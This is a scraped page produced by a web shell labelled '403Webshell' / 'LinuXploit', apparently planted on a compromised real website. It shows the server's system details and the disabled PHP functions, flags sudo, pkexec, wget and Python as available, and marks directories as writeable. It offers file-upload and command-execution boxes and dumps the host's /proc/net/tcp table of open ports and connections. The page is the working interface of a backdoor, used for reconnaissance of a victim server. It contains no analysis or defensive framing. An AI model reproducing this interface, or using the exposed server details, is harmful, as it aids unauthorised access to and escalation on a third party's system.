403Webshell
Server IP : www.new.bangkokfinder.com  /  Your IP : 162.158.106.112
Web Server : nginx/1.20.1
System : Linux new 4.15.0-159-generic #167-Ubuntu SMP Tue Sep 21 08:55:05 UTC 2021 x86_64
User : bangkokfinder ( 1000)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1288/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1288/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 147051 1 0000000000000000 100 0 0 10 0                    
   1: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 955001960 1 0000000000000000 100 0 0 10 0                 
   2: 0100007F:1FBE 00000000:0000 0A 00000000:00000000 00:00000000 00000000   118        0 105771823 1 0000000000000000 100 0 0 10 0                 
   3: 00000000:03FE 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 24974 1 0000000000000000 100 0 0 10 0                     
   4: 0100007F:1388 00000000:0000 0A 00000000:00000000 00:00000000 00000000   118        0 105771798 1 0000000000000000 100 0 0 10 0                 
   5: 0100007F:1389 00000000:0000 0A 00000000:00000000 00:00000000 00000000   118        0 105772097 1 0000000000000000 100 0 0 10 0                 
   6: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   113        0 644465371 1 0000000000000000 100 0 0 10 0                 
   7: 0100007F:2BCB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   115        0 168649 1 0000000000000000 100 0 0 10 0                    
   8: 0100007F:17AE 00000000:0000 0A 00000000:00000000 00:00000000 00000000   118        0 105772146 1 0000000000000000 100 0 0 10 0                 
   9: 00000000:238E 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3330914 1 0000000000000000 100 0 0 10 0                   
  10: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 955001959 1 0000000000000000 100 0 0 10 0                 
  11: 0100007F:1812 00000000:0000 0A 00000000:00000000 00:00000000 00000000   118        0 105771854 1 0000000000000000 100 0 0 10 0                 
  12: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 13877291 1 0000000000000000 100 0 0 10 5                  
  13: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   102        0 90655 1 0000000000000000 100 0 0 10 0                     
  14: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 149670 1 0000000000000000 100 0 0 10 0                    
  15: 41CDC780:01BB 146C9EA2:2587 01 00000000:00000000 00:00000000 00000000    33        0 1322826732 1 0000000000000000 20 4 29 10 20               
  16: 41CDC780:01BB 0AB01768:369E 01 00000000:00000000 00:00000000 00000000    33        0 1322812201 2 0000000000000000 20 4 29 10 20               
  17: 41CDC780:01BB B9BD9EA2:2E9E 01 00000000:00000000 00:00000000 00000000    33        0 1322777708 1 0000000000000000 20 4 27 10 20               
  18: 41CDC780:01BB 515147AC:2CA9 01 00000000:00000000 00:00000000 00000000    33        0 1322842616 1 0000000000000000 20 4 27 10 -1               
  19: 41CDC780:01BB 2BB045AC:2905 01 00000000:00000000 00:00000000 00000000    33        0 1322765346 1 0000000000000000 20 4 29 10 20               
  20: 41CDC780:0050 57BD46AC:2B7C 01 00000000:00000000 00:00000000 00000000    33        0 1322844375 1 0000000000000000 20 4 28 10 -1               
  21: 0100007F:CB76 0100007F:1389 01 00000000:00000000 02:00000278 00000000   118        0 105771820 2 0000000000000000 20 4 1 10 -1                 
  22: 41CDC780:01BB FE5147AC:3239 01 00000000:00000000 00:00000000 00000000    33        0 1322846100 1 0000000000000000 20 4 15 10 -1               
  23: 0100007F:1389 0100007F:CB78 01 00000000:00000000 02:00000291 00000000   118        0 105772144 2 0000000000000000 20 4 1 10 -1                 
  24: 41CDC780:0050 519847AC:3160 01 00000000:00000000 00:00000000 00000000    33        0 1322843954 1 0000000000000000 20 4 28 10 -1               
  25: 41CDC780:01BB 2D6C9EA2:2521 06 00000000:00000000 03:000010FE 00000000     0        0 0 3 0000000000000000                                      
  26: 41CDC780:01BB 05F244AC:271A 01 00000000:00000000 00:00000000 00000000    33        0 1322817119 1 0000000000000000 20 4 29 10 20               
  27: 41CDC780:0050 04F244AC:332A 01 00000000:00000000 00:00000000 00000000    33        0 1322844268 1 0000000000000000 20 4 31 10 -1               
  28: 41CDC780:01BB B4A39EA2:323C 01 00000000:00000000 00:00000000 00000000    33        0 1322842826 1 0000000000000000 20 4 11 10 -1               
  29: 41CDC780:01BB BBBD9EA2:32C7 01 00000000:00000000 00:00000000 00000000    33        0 1322837135 1 0000000000000000 20 4 27 10 -1               
  30: 41CDC780:01BB 33A444AC:2CD0 06 00000000:00000000 03:0000043F 00000000     0        0 0 3 0000000000000000                                      
  31: 41CDC780:AB2A 989B43AC:0050 06 00000000:00000000 03:00000B0D 00000000     0        0 0 3 0000000000000000                                      
  32: 41CDC780:01BB C4E2A26C:30DD 01 00000000:00000000 00:00000000 00000000    33        0 1322823209 1 0000000000000000 20 4 29 10 20               
  33: 41CDC780:01BB 75A29EA2:2522 01 00000000:00000000 00:00000000 00000000    33        0 1322843041 1 0000000000000000 20 4 13 10 -1               
  34: 41CDC780:0050 75A29EA2:2F4B 01 00000000:00000000 00:00000000 00000000    33        0 1322844288 1 0000000000000000 20 4 28 10 -1               
  35: 41CDC780:0050 26BC46AC:3267 01 00000000:00000000 00:00000000 00000000    33        0 1322844050 1 0000000000000000 20 4 29 10 -1               
  36: 41CDC780:01BB 517C47AC:33F0 01 00000000:00000000 00:00000000 00000000    33        0 1322767081 1 0000000000000000 20 4 27 10 20               
  37: 41CDC780:01BB 517C47AC:33EE 01 00000000:00000000 00:00000000 00000000    33        0 1322767080 1 0000000000000000 20 4 31 10 20               
  38: 41CDC780:0050 09B01768:2F00 01 00000000:00000000 00:00000000 00000000    33        0 1322842967 1 0000000000000000 20 4 27 10 -1               
  39: 41CDC780:0050 DD7C47AC:2C36 01 00000000:00000000 00:00000000 00000000    33        0 1322844192 1 0000000000000000 20 4 28 10 -1               
  40: 41CDC780:01BB 3DA444AC:2FE9 01 00000000:00000000 00:00000000 00000000    33        0 1322845152 1 0000000000000000 20 4 29 10 -1               
  41: 0100007F:1389 0100007F:CB68 01 00000000:00000000 02:00000244 00000000   118        0 105771812 2 0000000000000000 20 4 0 10 -1                 
  42: 0100007F:CB6A 0100007F:1389 01 00000000:00000000 02:00000244 00000000   118        0 105771811 2 0000000000000000 20 4 0 10 -1                 
  43: 41CDC780:01BB 515D46AC:2DB1 01 00000000:00000000 00:00000000 00000000    33        0 1322817799 1 0000000000000000 20 4 29 10 20               
  44: 0100007F:CB68 0100007F:1389 01 00000000:00000000 02:00000244 00000000   118        0 105771810 2 0000000000000000 20 4 1 10 -1                 
  45: 41CDC780:01BB 0DE3A26C:2675 01 00000000:00000000 00:00000000 00000000    33        0 1322844282 1 0000000000000000 20 4 15 10 -1               
  46: 41CDC780:0050 55A39EA2:26AD 01 00000000:00000000 00:00000000 00000000    33        0 1322844401 1 0000000000000000 20 4 28 10 -1               
  47: 41CDC780:0050 737C47AC:348F 01 00000000:00000000 00:00000000 00000000    33        0 1322843994 1 0000000000000000 20 4 26 10 -1               
  48: 41CDC780:C450 4C9EE903:01BB 01 00000000:00000000 02:00000044 00000000   118        0 1322830700 2 0000000000000000 44 4 27 10 -1               
  49: 41CDC780:01BB A2AA9EA2:348A 01 00000000:00000000 00:00000000 00000000    33        0 1322838707 1 0000000000000000 20 4 29 10 -1               
  50: 0100007F:1389 0100007F:CB6A 01 00000000:00000000 02:00000244 00000000   118        0 105771813 2 0000000000000000 20 4 1 10 -1                 
  51: 0100007F:1389 0100007F:CB76 01 00000000:00000000 02:00000278 00000000   118        0 105772106 2 0000000000000000 20 4 1 10 -1                 
  52: 41CDC780:01BB A0D046AC:2FC8 01 00000000:00000000 00:00000000 00000000    33        0 1322786142 1 0000000000000000 20 4 29 10 20               
  53: 41CDC780:01BB 6A589EA2:3481 01 00000000:00000000 00:00000000 00000000    33        0 1322771948 1 0000000000000000 20 4 27 10 20               
  54: 41CDC780:01BB 356C9EA2:2C1C 01 00000000:00000000 00:00000000 00000000    33        0 1322833036 1 0000000000000000 20 4 25 10 -1               
  55: 41CDC780:01BB 706A9EA2:2446 01 00000000:00000000 00:00000000 00000000    33        0 1322786556 2 0000000000000000 20 4 29 10 20               
  56: 41CDC780:0050 A36C9EA2:29FE 01 00000000:00000000 00:00000000 00000000    33        0 1322844306 1 0000000000000000 20 4 28 10 -1               
  57: 41CDC780:0050 C5E2A26C:2F84 01 00000000:00000000 00:00000000 00000000    33        0 1322844078 1 0000000000000000 20 4 29 10 -1               
  58: 41CDC780:01BB 5DA39EA2:26AF 01 00000000:00000000 00:00000000 00000000    33        0 1322845175 1 0000000000000000 20 4 15 10 -1               
  59: 41CDC780:0050 A3AA9EA2:3478 01 00000000:00000000 00:00000000 00000000    33        0 1322843989 1 0000000000000000 20 4 27 10 20               
  60: 41CDC780:0050 506B9EA2:3476 01 00000000:00000000 00:00000000 00000000    33        0 1322844075 1 0000000000000000 20 4 28 10 -1               
  61: 41CDC780:0050 706A9EA2:295D 01 00000000:00000000 00:00000000 00000000    33        0 1322844147 1 0000000000000000 20 4 29 10 -1               
  62: 41CDC780:0050 6EA444AC:2962 01 00000000:00000000 00:00000000 00000000    33        0 1322843945 1 0000000000000000 20 4 28 10 -1               
  63: 41CDC780:01BB 8D421668:347D 06 00000000:00000000 03:0000011D 00000000     0        0 0 3 0000000000000000                                      
  64: 41CDC780:01BB 26BC46AC:2F5C 01 00000000:00000000 00:00000000 00000000    33        0 1322770024 1 0000000000000000 20 5 29 10 20               
  65: 41CDC780:01BB 18A545AC:30FC 01 00000000:00000000 00:00000000 00000000    33        0 1322833970 1 0000000000000000 20 4 29 10 40               
  66: 41CDC780:0050 8FA444AC:35CB 01 00000000:00000000 00:00000000 00000000    33        0 1322844249 1 0000000000000000 20 4 28 10 -1               
  67: 41CDC780:01BB 3DA444AC:281B 06 00000000:00000000 03:00000F59 00000000     0        0 0 3 0000000000000000                                      
  68: 41CDC780:0050 30D046AC:368E 01 00000000:00000000 00:00000000 00000000    33        0 1322844235 1 0000000000000000 20 4 28 10 -1               
  69: 41CDC780:01BB F86A9EA2:2507 01 00000000:00000000 00:00000000 00000000    33        0 1322842152 1 0000000000000000 20 4 13 10 -1               
  70: 0100007F:CB78 0100007F:1389 01 00000000:00000000 02:00000291 00000000   118        0 105771826 2 0000000000000000 20 4 0 10 -1                 
  71: 41CDC780:01BB 23A645AC:252C 01 00000000:00000000 00:00000000 00000000    33        0 1322803808 1 0000000000000000 20 4 29 10 15               
  72: 41CDC780:01BB 05421668:247A 01 00000000:00000000 00:00000000 00000000    33        0 1322775162 1 0000000000000000 20 4 25 10 20               

Youez - 2016 - github.com/yon3zu
LinuXploit